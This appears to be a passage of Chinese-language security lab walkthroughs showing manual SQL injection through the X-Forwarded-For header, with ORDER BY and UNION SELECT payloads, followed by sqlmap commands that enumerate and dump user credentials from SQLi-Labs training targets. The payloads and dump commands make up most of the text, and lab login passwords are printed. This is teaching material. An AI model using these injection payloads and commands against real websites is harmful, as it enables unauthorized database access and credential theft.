4 判断网站查询的字段数

使用如下payload判断网站查询的字段数:

1
X-Forwarded-For:order by 2

未报错!

image.png

1
X-Forwarded-For:order by 3

未报错!

image.png

1
X-Forwarded-For:order by 4

未报错!

image.png

1
X-Forwarded-For:order by 5

报错!

image.png

由上述结果可以判断,网站查询的字段数为4。

5 判断网站的回显位置

使用如下payload判断网站的回显位置:

1
X-Forwarded-For:union select 1,2,3,4

image.png

由上述结果可以判断,网站有三个回显位置:2号位、3号位和4号位。

6 获取网站当前所在的数据库的库名

使用如下payload获取网站当前所在的数据库的库名:

1
X-Forwarded-For:union select 1,database(),3,4

image.png

由上述结果可以得知,网站当前所在的数据库的库名为pentesterlab。

7 获取pentesterlab数据库中所有的表名

使用如下payload获取pentesterlab数据库中所有的表名:

1
X-Forwarded-For:union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='pentesterlab'

image.png

由上述结果可以得知,pentesterlab数据库中含有comment、flag、goods和user四张表。其中,flag表中可能存放着flag信息。

8 获取flag表中的字段名

使用如下payload获取flag表中的字段名:

1
X-Forwarded-For:union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='pentesterlab' and table_name='flag'

image.png

由上述结果可以得知,flag表中有两个字段id、flag。

9 获取flag表中的flag字段的内容

使用如下payload获取flag表中的flag字段的内容:

1
X-Forwarded-For:union select 1,flag,3,4 from pentesterlab.flag

image.png

由上述结果可以得知,该flag字段的内容为204f704fbbcf6acf398ffee11989b377。
实验至此结束。

实验总结

本次实验,成功实现了对存在HTTP头部(X-Forwarded-For)注入点的网站的手工SQL注入,掌握了HTTP头部注入的原理、方法和流程。

SQL注入-SQLMAP基础使用1

实验目的

了解SQLMAP的工作原理,熟悉SQLMAP的常用命令,掌握SQLMAP的-u参数的基本使用方法。

实验环境

攻击机:Pentest-Atk

(1)操作系统:Windows 10

(2)安装的应用软件:Sqlmap、Burpsuite、FireFox浏览器插件Hackbar、FoxyProxy等

(3)登录账号密码:操作系统帐号Administrator,密码Sangfor!7890

靶机:A-SQLi-Labs

(1)操作系统:CentOS 7

(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP;DVWA、SQLi-Labs、Webug3.0漏洞网站环境

(3)登录账号密码:操作系统帐号root,密码Sangfor!7890

实验原理

SQLMAP是一个开源的自动化SQL注入工具,其主要功能是扫描、发现并利用给定的URL的SQL注入漏洞。
SQLMAP的基本功能包括:判断可注入的参数、判断可以使用哪一种SQL注入技术进行注入、判断识别数据库的类型以及根据用户的选择从数据库中读取数据。
SQLMAP支持的注入技术包括以下五种:
(1)基于布尔的盲注:根据返回页面判断条件真假的注入。
(2)基于时间的盲注:不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
(3)基于报错的注入:页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
(4)基于联合查询的注入:可以使用UNION的情况下的注入。
(5)堆查询注入:同时执行多条语句的注入。
SQLMAP支持的数据库类型主要包括一些关系型数据库(RMDBS),如MySQL、Oracle、PostgreSQL、Microsoft SQL
Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP
MaxDB、Informix、HSQLDB等。

实验步骤

本实验的目标是:以SQLi-Labs网站的Less-3为入口,利用SQLMAP实施自动化SQL注入,获取SQLi-Labs网站的登录用户名和密码。

1 访问SQLi-Labs网站

在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-3。访问的URL为:

1
http://[靶机IP]/sqli-labs/Less-3/

(注意大小写)

image.png

登录后,根据网页提示,先给定一个GET参数,即:

1
http://[靶机IP]/sqli-labs/Less-3/?id=1

此时页面显示id=1的用户名Dump、密码Dump。

image.png

2 启动SQLMAP

启动Windows操作系统的命令行工具cmd:

image.png

在命令行工具cmd中输入以下命令,进入SQLMAP程序所在的路径:

1
cd C:\Users\Administrator\Desktop\tools\装机工具\sqlmap-master

image.png

进入SQLMAP程序所在的路径后,使用以下命令启动SQLMAP帮助:

1
python sqlmap.py -h

image.png

3 寻找注入点

使用以下命令自动寻找网站的注入点,并获取网站及后台数据库的基本信息:

1
python sqlmap.py -u "http://[靶机IP]/sqli-labs/Less-3/?id=1"

image.png

image.png

检测结果如下图所示:

image.png

4 获取所有数据库的库名

(1)使用以下命令获取所有数据库的库名:

1
python sqlmap.py -u "http://[靶机IP]/sqli-labs/Less-3/?id=1" --dbs

image.png

检测结果如下图所示:

image.png

(2)使用以下命令获取网站当前所在数据库的库名:

1
python sqlmap.py -u "http://[靶机IP]/sqli-labs/Less-3/?id=1" --current-db

image.png

检测结果:网站当前所在数据库的库名为security。

image.png

5 获取security数据库中所有的表名

使用以下命令获取security数据库中所有的表名:

1
python sqlmap.py -u "http://[靶机IP]/sqli-labs/Less-3/?id=1" -D security --tables

image.png

检测结果:security数据库中含有emails、referers、uagents、users四张表。

image.png

其中,有一个名为users的表,这当中可能存放着网站用户的基本信息。

6 获取users表的全部字段名

使用以下命令获取users表的全部字段名:

1
python sqlmap.py -u "http://[靶机IP]/sqli-labs/Less-3/?id=1" -D security -T users --columns

image.png

检测结果:users表中有三个字段id、username和password。

image.png

7 获取users表id、username和password字段的全部值

使用以下命令获取users表id、username和password字段的全部值:

1
python sqlmap.py -u "http://[靶机IP]/sqli-labs/Less-3/?id=1" -D security -T users -C id,username,password --dump

image.png

检测结果如下图所示:

image.png

实验至此结束。

实验总结

本次实验,成功利用SQLMAP对存在GET型注入点的网站进行了自动化SQL注入,掌握了SQLMAP的-u参数的基本使用方法。

SQL注入-SQLMAP基础使用2

实验目的

了解SQLMAP的工作原理,熟悉SQLMAP的常用命令,掌握SQLMAP的-r参数的基本使用方法。

实验环境

攻击机:Pentest-Atk

(1)操作系统:Windows 10

(2)安装的应用软件:Sqlmap、Burpsuite、FireFox浏览器插件Hackbar、FoxyProxy等

(3)登录账号密码:操作系统帐号Administrator,密码Sangfor!7890

靶机:A-SQLi-Labs

(1)操作系统:CentOS 7

(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP;DVWA、SQLi-Labs、Webug3.0漏洞网站环境

(3)登录账号密码:操作系统帐号root,密码Sangfor!7890

实验原理

SQLMAP是一个开源的自动化SQL注入工具,其主要功能是扫描、发现并利用给定的URL的SQL注入漏洞。
SQLMAP的基本功能包括:判断可注入的参数、判断可以使用哪一种SQL注入技术进行注入、判断识别数据库的类型以及根据用户的选择从数据库中读取数据。
SQLMAP支持的注入技术包括以下五种:
(1)基于布尔的盲注:根据返回页面判断条件真假的注入。
(2)基于时间的盲注:不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
(3)基于报错的注入:页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
(4)基于联合查询的注入:可以使用UNION的情况下的注入。
(5)堆查询注入:同时执行多条语句的注入。
SQLMAP支持的数据库类型主要包括一些关系型数据库(RMDBS),如MySQL、Oracle、PostgreSQL、Microsoft SQL
Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP
MaxDB、Informix、HSQLDB等。

实验步骤

本实验的目标是:以SQLi-Labs网站的Less-4为入口,利用SQLMAP实施自动化SQL注入,获取SQLi-Labs网站的登录用户名和密码。

1 访问SQLi-Labs网站

在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-4。访问的URL为:

1
http://[靶机IP]/sqli-labs/Less-4/

(注意大小写)

image.png

2 利用Burpsuite工具抓包

(1)启动Burpsuite

在攻击机Pentest-Atk的桌面文件夹Burp中,鼠标左键双击BURP.cmd程序,启动Burpsuite。

image.png

image.png

image.png

image.png

(2)设置Burpsuite的代理服务端口

在Burpsuite软件界面上选择选项卡“Proxy”->“Options”,在Proxy Listeners模块下,将Burpsuite的代理服务端口设置为8080(此为Burpsuite默认的服务端口)。

image.png

(3)开启Burpsuite的代理拦截功能

在Burpsuite软件界面上选择选项卡“Proxy”->“Intercept”,将拦截开关按钮的状态设置为“Intercept is on”。

image.png

注意:上述设置完成之后,不要关闭Burpsuite!

(4)设置Firefox代理

回到FireFox浏览器界面,鼠标右键单击浏览器地址栏右方的FoxyProxy插件图标按钮,在弹出的菜单中选择“为全部URLs启用代理服务器127.0.0.1:8080”:

image.png

代理设置成功后,FoxyProxy插件图标会变成蓝色。

image.png

(5)利用Burpsuite工具拦截HTTP请求包

在Firefox地址栏中给定一个GET参数,将URL修改为:

1
http://[靶机IP]/sqli-labs/Less-4/?id=1

image.png

回车提交,此时观察Burpsuite是否能正常拦截到此HTTP请求报文。

image.png

(6)保存此HTTP请求包

在Burpsuite的Proxy->Intercept界面下选中刚刚拦截到的HTTP请求报文的全部内容,单击鼠标右键,在弹出的菜单中选择copy,将请求包的内容拷贝至文本文档a.txt中,并保存至C盘根目录。

image.png

image.png

3 启动SQLMAP

启动Windows操作系统的命令行工具cmd:

image.png

在命令行工具cmd中输入以下命令,进入SQLMAP程序所在的路径:

1
cd C:\Users\Administrator\Desktop\tools\装机工具\sqlmap-master

image.png

进入SQLMAP程序所在的路径后,使用以下命令启动SQLMAP帮助:

1
python sqlmap.py -h

image.png

4 寻找注入点

使用以下命令自动寻找网站的注入点,并获取网站及后台数据库的基本信息:

1
python sqlmap.py -r C:\a.txt

image.png

image.png

检测结果如下图所示:

image.png

5 获取所有数据库的库名

(1)使用以下命令获取所有数据库的库名:

1
python sqlmap.py -r C:\a.txt --dbs

image.png

检测结果如下图所示:

image.png

(2)使用以下命令获取网站当前所在数据库的库名:

1
python sqlmap.py -r C:\a.txt --current-db

image.png

检测结果:网站当前所在数据库的库名为security。

image.png

6 获取security数据库中所有的表名

使用以下命令获取security数据库中所有的表名:

1
python sqlmap.py -r C:\a.txt -D security --tables

image.png

检测结果:security数据库中含有emails、referers、uagents、users四张表。

image.png

其中,有一个名为users的表,这当中可能存放着网站用户的基本信息。

7 获取users表的全部字段名

使用以下命令获取users表的全部字段名:

1
python sqlmap.py -r C:\a.txt -D security -T users --columns

image.png

检测结果:users表中有三个字段id、username和password。

image.png

8 获取users表id、username和password字段的全部值

使用以下命令获取users表id、username和password字段的全部值:

1
python sqlmap.py -r C:\a.txt -D security -T users -C id,username,password --dump

image.png

检测结果如下图所示:

image.png

实验至此结束。

实验总结

本次实验,成功利用SQLMAP对存在GET型注入点的网站进行了自动化SQL注入,掌握了SQLMAP的-r参数的基本使用方法。